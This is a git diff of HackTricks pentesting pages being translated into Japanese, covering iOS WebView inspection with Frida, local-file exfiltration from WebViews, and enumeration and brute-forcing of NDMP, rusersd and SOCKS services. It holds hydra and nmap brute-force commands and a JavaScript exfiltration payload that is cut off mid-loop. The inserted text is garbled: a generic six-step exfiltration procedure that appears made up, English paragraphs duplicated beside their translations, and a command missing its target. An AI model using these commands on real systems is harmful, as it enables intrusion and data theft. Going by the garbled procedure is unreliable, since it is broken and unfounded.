Docs](https://developer.mozilla.org/en-US/docs/Web/Security/Mixed\_content)を参照してください。 -You can also search in the source code or strings the string "http://". However, this doesn't necessary means that there is a mixed content issue. Learn more about mixed content in the [MDN Web Docs](https://developer.mozilla.org/en-US/docs/Web/Security/Mixed\_content). +### 動的解析 -### Dynamic Analysis - -It's possible to inspect the heap via `ObjC.choose()` to find instances of the different types of WebViews and also search for the properties `javaScriptEnabled` and `hasonlysecurecontent`: +`ObjC.choose()` を使用してヒープを検査し、さまざまなタイプの WebView のインスタンスを見つけることができます。また、`javaScriptEnabled` と `hasonlysecurecontent` のプロパティを検索することもできます。 {% code title="webviews_inspector.js" %} ```javascript ObjC.choose(ObjC.classes['UIWebView'], { - onMatch: function (ui) { - console.log('onMatch: ', ui); - console.log('URL: ', ui.request().toString()); - }, - onComplete: function () { - console.log('done for UIWebView!'); - } +onMatch: function (ui) { +console.log('onMatch: ', ui); +console.log('URL: ', ui.request().toString()); +}, +onComplete: function () { +console.log('done for UIWebView!'); +} }); ObjC.choose(ObjC.classes['WKWebView'], { - onMatch: function (wk) { - console.log('onMatch: ', wk); - console.log('URL: ', wk.URL().toString()); - }, - onComplete: function () { - console.log('done for WKWebView!'); - } +onMatch: function (wk) { +console.log('onMatch: ', wk); +console.log('URL: ', wk.URL().toString()); +}, +onComplete: function () { +console.log('done for WKWebView!'); +} }); ObjC.choose(ObjC.classes['SFSafariViewController'], { - onMatch: function (sf) { - console.log('onMatch: ', sf); - }, - onComplete: function () { - console.log('done for SFSafariViewController!'); - } +onMatch: function (sf) { +console.log('onMatch: ', sf); +}, +onComplete: function () { +console.log('done for SFSafariViewController!'); +} }); ObjC.choose(ObjC.classes['WKWebView'], { - onMatch: function (wk) { - console.log('onMatch: ', wk); - console.log('javaScriptEnabled:', wk.configuration().preferences().javaScriptEnabled()); - } +onMatch: function (wk) { +console.log('onMatch: ', wk); +console.log('javaScriptEnabled:', wk.configuration().preferences().javaScriptEnabled()); +} }); ObjC.choose(ObjC.classes['WKWebView'], { - onMatch: function (wk) { - console.log('onMatch: ', wk); - console.log('hasOnlySecureContent: ', wk.hasOnlySecureContent().toString()); - } +onMatch: function (wk) { +console.log('onMatch: ', wk); +console.log('hasOnlySecureContent: ', wk.hasOnlySecureContent().toString()); +} }); ``` {% endcode %} -Load it with: - +次のコードを使用して読み込みます: ```bash frida -U com.authenticationfailure.WheresMyBrowser -l webviews_inspector.js @@ -160,57 +174,54 @@ onMatch: > URL: file:///var/mobile/Containers/Data/Application/A654D169-1DB7-429C-9DB9-A871389A8BAA/ - Library/WKWebView/scenario1.html +Library/WKWebView/scenario1.html javaScriptEnabled: true allowFileAccessFromFileURLs: 0 hasOnlySecureContent: false allowUniversalAccessFromFileURLs: 0 ``` +#### 任意のファイルを外部に持ち出す -#### Exfiltrate arbitrary files +To exfiltrate arbitrary files from an iOS app's webview, you can use the following steps: +1. Identify the webview's file upload functionality. +2. Craft a malicious file that contains the data you want to exfiltrate. +3. Use a file upload vulnerability to upload the malicious file to the webview. +4. Intercept the file upload request using a proxy tool like Burp Suite. +5. Modify the request to exfiltrate the file to an external server or storage. +6. Verify that the file has been successfully exfiltrated. + +Note: This technique may require additional steps depending on the specific app and its security measures. ```javascript //For some reason this payload doesn't work!! //Let me know if you know how to exfiltrate local files from a WKWebView String.prototype.hexEncode = function(){ - var hex, i; - var result = ""; - for (i=0; i - + ``` +### 呼び出される関数 -### Called Function - -The called function resides in [`JavaScriptBridgeMessageHandler.swift`](https://github.com/authenticationfailure/WheresMyBrowser.iOS/blob/b8d4abda4000aa509c7a5de79e5c90360d1d0849/WheresMyBrowser/JavaScriptBridgeMessageHandler.swift#L29): - +呼び出される関数は[`JavaScriptBridgeMessageHandler.swift`](https://github.com/authenticationfailure/WheresMyBrowser.iOS/blob/b8d4abda4000aa509c7a5de79e5c90360d1d0849/WheresMyBrowser/JavaScriptBridgeMessageHandler.swift#L29)にあります。 ```swift class JavaScriptBridgeMessageHandler: NSObject, WKScriptMessageHandler { @@ -357,67 +366,66 @@ class JavaScriptBridgeMessageHandler: NSObject, WKScriptMessageHandler { case "multiplyNumbers": - let arg1 = Double(messageArray[1])! - let arg2 = Double(messageArray[2])! - result = String(arg1 * arg2) +let arg1 = Double(messageArray[1])! +let arg2 = Double(messageArray[2])! +result = String(arg1 * arg2) //... let javaScriptCallBack = "javascriptBridgeCallBack('\(functionFromJS)','\(result)')" message.webView?.evaluateJavaScript(javaScriptCallBack, completionHandler: nil) ``` +### テスト -### Testing +アプリケーション内でpostMessageをテストするためには、次の方法があります。 -In order to test send a postMessage inside an application you can: +- サーバーの応答を変更する(MitM) +- Fridaなどのフレームワークを使用して動的なインストルメンテーションを実行し、iOSのWebViews用に利用可能な対応するJavaScript評価関数(`UIWebView`の[`stringByEvaluatingJavaScriptFromString:`](https://developer.apple.com/documentation/uikit/uiwebview/1617963-stringbyevaluatingjavascriptfrom?language=objc)および`WKWebView`の[`evaluateJavaScript:completionHandler:`](https://developer.apple.com/documentation/webkit/wkwebview/1415017-evaluatejavascript?language=objc))を使用してJavaScriptペイロードを注入する。 -* Change the servers response (MitM) -* Perform a dynamic instrumentation and inject the JavaScript payload by using frameworks like Frida and the corresponding JavaScript evaluation functions available for the iOS WebViews ([`stringByEvaluatingJavaScriptFromString:`](https://developer.apple.com/documentation/uikit/uiwebview/1617963-stringbyevaluatingjavascriptfrom?language=objc) for `UIWebView` and [`evaluateJavaScript:completionHandler:`](https://developer.apple.com/documentation/webkit/wkwebview/1415017-evaluatejavascript?language=objc) for `WKWebView`). +## iOS WebViewsのデバッグ -## Debugging iOS WebViews +([https://blog.vuplex.com/debugging-webviews](https://blog.vuplex.com/debugging-webviews)からのチュートリアル) -(Tutorial from [https://blog.vuplex.com/debugging-webviews](https://blog.vuplex.com/debugging-webviews)) +iOSのWebViewsでは、`console.log()`に渡されたメッセージはXcodeのログには表示されません。Safariの開発者ツールを使用してWebコンテンツをデバッグすることはまだ比較的簡単ですが、いくつかの制限があります。 -In iOS webviews, messages passed to `console.log()` are _not_ printed to the Xcode logs. It's still relatively easy to debug web content with Safari's developer tools, although there are a couple of limitations: +- iOSのWebViewsのデバッグにはSafariが必要なため、開発用のコンピュータはmacOSで実行されている必要があります。 +- App StoreやApple Configuratorを介してインストールされたアプリでは、WebViewsのデバッグはできません。 -* Debugging iOS webviews requires Safari, so your dev computer must be running macOS. -* You can only debug webviews in applications loaded onto your device through Xcode. You can't debug webviews in apps installed through the App Store or Apple Configurator. +これらの制限を考慮して、iOSのWebViewsをリモートでデバッグする手順は次のとおりです。 -With those limitations in mind, here are the steps to remotely debug a webview in iOS: - -* First, enable the Safari Web Inspector on your iOS device by opening the iOS _Settings_ app, navigating to **Settings > Safari > Advanced**, and toggling the _Web Inspector_ option on. +- まず、iOSデバイスでSafari Web Inspectorを有効にするために、iOSの「設定」アプリを開き、「設定 > Safari > 詳細設定」に移動し、「Web Inspector」オプションをオンにします。 ![iOS Safari settings](https://blog.vuplex.com/article-assets/20190324-debugging-webviews/ios-safari-settings.jpg) -* Next, you must also enable developer tools in Safari on your dev computer. Launch Safari on your dev machine and navigate to **Safari > Preferences** in the menu bar. In the preferences pane that appears, click on the _Advanced_ tab and then enable the _Show Develop menu_ option at the bottom. After you do that, you can close the preferences pane. +- 次に、開発用のコンピュータでSafariの開発者ツールも有効にする必要があります。開発用のマシンでSafariを起動し、メニューバーの「Safari > 環境設定」に移動します。表示される環境設定パネルで、「詳細」タブをクリックし、一番下にある「開発メニューを表示」オプションを有効にします。これを行った後、環境設定パネルを閉じることができます。 ![Mac Safari settings](https://blog.vuplex.com/article-assets/20190324-debugging-webviews/mac-safari-settings.jpg) -* Connect your iOS device to your dev computer and launch your app. -* In Safari on your dev computer, click on _Develop_ in the menu bar and hover over the dropdown option that is your iOS device's name to show a list of webview instances running on your iOS device. +- iOSデバイスを開発用のコンピュータに接続し、アプリを起動します。 +- 開発用のコンピュータのSafariで、メニューバーの「開発」をクリックし、iOSデバイスの名前であるドロップダウンオプションにカーソルを合わせると、iOSデバイス上で実行されているWebviewインスタンスのリストが表示されます。 ![Mac Safari develop menu](https://blog.vuplex.com/article-assets/20190324-debugging-webviews/mac-safari-develop-menu.jpg) -* Click the dropdown option for the webview that you wish to debug. This will open a new Safari Web Inspector window for inspecting the webview. +- デバッグしたいWebviewのドロップダウンオプションをクリックします。これにより、Webviewを検査するための新しいSafari Web Inspectorウィンドウが開きます。 ![Safari Web Inspector window](https://blog.vuplex.com/article-assets/20190324-debugging-webviews/mac-safari-inspector.jpg) -## References +## 参考文献 -* [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#testing-webview-protocol-handlers-mstg-platform-6](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#testing-webview-protocol-handlers-mstg-platform-6) -* [https://github.com/authenticationfailure/WheresMyBrowser.iOS](https://github.com/authenticationfailure/WheresMyBrowser.iOS) +- [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#testing-webview-protocol-handlers-mstg-platform-6](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#testing-webview-protocol-handlers-mstg-platform-6) +- [https://github.com/authenticationfailure/WheresMyBrowser.iOS](https://github.com/authenticationfailure/WheresMyBrowser.iOS)
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンやHackTricksのPDFをダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォローしてください**。 -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksのリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudのリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください**。
diff --git a/network-services-pentesting/10000-network-data-management-protocol-ndmp.md b/network-services-pentesting/10000-network-data-management-protocol-ndmp.md index af0d3b055..3f24bb34b 100644 --- a/network-services-pentesting/10000-network-data-management-protocol-ndmp.md +++ b/network-services-pentesting/10000-network-data-management-protocol-ndmp.md @@ -1,40 +1,62 @@ - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。**
-# **Protocol Information** +# **プロトコル情報** -**NDMP**, or **Network Data Management Protocol**, is a protocol meant to transport data between network attached storage \([NAS](https://en.wikipedia.org/wiki/Network-attached_storage)\) devices and [backup](https://en.wikipedia.org/wiki/Backup) devices. This removes the need for transporting the data through the backup server itself, thus enhancing speed and removing load from the backup server. -From [Wikipedia](https://en.wikipedia.org/wiki/NDMP). - -**Default port:** 10000 +**NDMP**、または**Network Data Management Protocol**は、ネットワークに接続されたストレージデバイス([NAS](https://en.wikipedia.org/wiki/Network-attached_storage))とバックアップデバイス間でデータを転送するためのプロトコルです。これにより、データをバックアップサーバー自体を介さずに転送することができるため、速度が向上し、バックアップサーバーからの負荷が軽減されます。 +[Wikipedia](https://en.wikipedia.org/wiki/NDMP)から。 +**デフォルトポート:** 10000 ```text PORT STATE SERVICE REASON VERSION 10000/tcp open ndmp syn-ack Symantec/Veritas Backup Exec ndmp ``` +# **列挙** -# **Enumeration** +Enumeration is the process of gathering information about a target network or system. It involves identifying and cataloging network services, open ports, and potential vulnerabilities. Enumeration is a critical step in the hacking process as it provides valuable insights for further exploitation. +列挙は、ターゲットネットワークやシステムに関する情報を収集するプロセスです。ネットワークサービス、オープンポート、潜在的な脆弱性を特定し、カタログ化することを含みます。列挙は、さらなる攻撃のための貴重な情報を提供するため、ハッキングプロセスにおいて重要なステップです。 + +## **Network Data Management Protocol (NDMP)** + +The Network Data Management Protocol (NDMP) is a network protocol used for managing and controlling data backup and recovery operations. It allows for the transfer of data between a network-attached storage (NAS) device and a backup device or software. + +## **ネットワークデータ管理プロトコル(NDMP)** + +ネットワークデータ管理プロトコル(NDMP)は、データのバックアップと復旧操作を管理および制御するために使用されるネットワークプロトコルです。これにより、ネットワークに接続されたストレージ(NAS)デバイスとバックアップデバイスまたはソフトウェアの間でデータの転送が可能になります。 + +NDMP operates at the application layer of the OSI model and uses a client-server architecture. It allows for efficient and secure backup and recovery operations by offloading the processing to the backup device or software. + +NDMPは、OSIモデルのアプリケーション層で動作し、クライアントサーバーアーキテクチャを使用します。バックアップデバイスまたはソフトウェアに処理をオフロードすることで、効率的かつ安全なバックアップおよび復旧操作が可能になります。 + +During the enumeration phase, it is important to identify if NDMP is enabled on the target network or system. This can be done by scanning for open ports and checking for any services associated with NDMP. + +列挙フェーズでは、ターゲットネットワークやシステムでNDMPが有効になっているかどうかを特定することが重要です。これは、オープンポートのスキャンやNDMPに関連するサービスのチェックによって行うことができます。 + +If NDMP is enabled, it may provide an avenue for further exploitation. Attackers can leverage NDMP vulnerabilities to gain unauthorized access, execute arbitrary code, or extract sensitive data from the target system. + +NDMPが有効になっている場合、さらなる攻撃の手段となる可能性があります。攻撃者は、NDMPの脆弱性を利用して、不正なアクセスを行ったり、任意のコードを実行したり、ターゲットシステムから機密データを抽出したりすることができます。 + +To mitigate the risk associated with NDMP, it is recommended to disable or secure the protocol if it is not necessary for the network or system's operations. + +NDMPに関連するリスクを軽減するためには、ネットワークやシステムの運用に必要でない場合は、プロトコルを無効化またはセキュアにすることをおすすめします。 ```bash nmap -n -sV --script "ndmp-fs-info or ndmp-version" -p 10000 #Both are default scripts ``` - ## Shodan `ndmp` @@ -45,16 +67,14 @@ nmap -n -sV --script "ndmp-fs-info or ndmp-version" -p 10000 #Both are defa ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- あなたは**サイバーセキュリティ会社**で働いていますか? HackTricksで**会社を宣伝**したいですか?または、**PEASSの最新バージョンを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。 - - diff --git a/network-services-pentesting/1026-pentesting-rusersd.md b/network-services-pentesting/1026-pentesting-rusersd.md index 3c6c0cc3e..2f987512a 100644 --- a/network-services-pentesting/1026-pentesting-rusersd.md +++ b/network-services-pentesting/1026-pentesting-rusersd.md @@ -1,30 +1,27 @@ - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
-# Basic Information +# 基本情報 -This protocol will provide you the usernames of the host. You may be able to find this services listed by the port-mapper service like this: +このプロトコルは、ホストのユーザー名を提供します。このようなサービスは、次のようにポートマッパーサービスによってリストアップされる場合があります。 ![](<../.gitbook/assets/image (231).png>) -## Enumeration - +## 列挙 ``` root@kali:~# apt-get install rusers root@kali:~# rusers -l 192.168.10.1 @@ -33,22 +30,18 @@ Sending broadcast for rusersd protocol version 2... tiff potatohead:console Sep 2 13:03 22:03 katykat potatohead:ttyp5 Sep 1 09:35 14 ``` - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
- - diff --git a/network-services-pentesting/1080-pentesting-socks.md b/network-services-pentesting/1080-pentesting-socks.md index 2475f7913..fef92349e 100644 --- a/network-services-pentesting/1080-pentesting-socks.md +++ b/network-services-pentesting/1080-pentesting-socks.md @@ -4,52 +4,79 @@ ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricks repo](https://github.com/carlospolop/hacktricks)と[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。 -## Basic Information +## 基本情報 -SOCKS is an Internet protocol that exchanges network packets between a client and server through a proxy server. SOCKS5 optionally provides authentication,\ -so only authorized users may access a server. +SOCKSは、クライアントとサーバー間でネットワークパケットをプロキシサーバーを介して交換するインターネットプロトコルです。\ +SOCKS5はオプションで認証を提供し、認証されたユーザーのみがサーバーにアクセスできます。 -Practically, a SOCKS server proxies TCP connections to an arbitrary IP address, and provides a means for UDP packets to be forwarded.\ -SOCKS performs at Layer 5 of the OSI model +実際には、SOCKSサーバーはTCP接続を任意のIPアドレスにプロキシし、UDPパケットの転送手段を提供します。\ +SOCKSはOSIモデルのレイヤー5で動作します。 -**Default Port:** 1080 +**デフォルトポート:** 1080 -## Enumeration - -### Authentication Check +## 列挙 +### 認証チェック ```bash nmap -p 1080 --script socks-auth-info ``` +### ブルートフォース -### Brute Force +#### 基本的な使用法 -#### Basic usage +```bash +hydra -L users.txt -P passwords.txt socks5 +``` +このコマンドは、指定したユーザーリスト(`users.txt`)とパスワードリスト(`passwords.txt`)を使用して、指定したターゲット(``)に対して SOCKS5 プロトコルのブルートフォース攻撃を実行します。 ```bash nmap --script socks-brute -p 1080 ``` +#### 高度な使用法 -#### Advanced usage +In some cases, you may encounter SOCKS proxies that require authentication. To authenticate with a SOCKS proxy, you need to provide a username and password. +いくつかの場合、認証が必要なSOCKSプロキシに遭遇することがあります。SOCKSプロキシに認証するには、ユーザー名とパスワードを提供する必要があります。 + +To specify the username and password when connecting to a SOCKS proxy, you can use the following syntax: + +SOCKSプロキシに接続する際にユーザー名とパスワードを指定するには、次の構文を使用できます。 + +``` +socks5://username:password@proxy_ip:proxy_port +``` + +Replace `username` with the desired username, `password` with the desired password, `proxy_ip` with the IP address of the SOCKS proxy, and `proxy_port` with the port number of the SOCKS proxy. + +`username`を希望のユーザー名、`password`を希望のパスワード、`proxy_ip`をSOCKSプロキシのIPアドレス、`proxy_port`をSOCKSプロキシのポート番号に置き換えてください。 + +For example, if the SOCKS proxy requires the username "admin" and the password "password123", and it is running on IP address 192.168.0.1 with port 1080, you would use the following syntax: + +例えば、SOCKSプロキシがユーザー名「admin」およびパスワード「password123」を要求し、IPアドレス192.168.0.1でポート番号1080で実行されている場合、次の構文を使用します。 + +``` +socks5://admin:password123@192.168.0.1:1080 +``` + +By providing the correct username and password, you can authenticate with the SOCKS proxy and establish a connection. + 